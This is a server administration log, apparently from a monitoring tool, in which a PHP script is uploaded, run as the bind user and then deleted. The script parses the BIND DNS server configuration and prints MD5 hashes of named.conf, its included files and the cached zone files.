MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:51:31: Establishing a connection
2026-04-24 19:51:31: 

PUT: /tmp/pkp959168

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:51:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp959168; rm /tmp/pkp959168'

2026-04-24 19:51:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:53:10: Establishing a connection
2026-04-24 19:53:10: 

PUT: /tmp/pkp416544

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:53:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp416544; rm /tmp/pkp416544'

2026-04-24 19:53:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
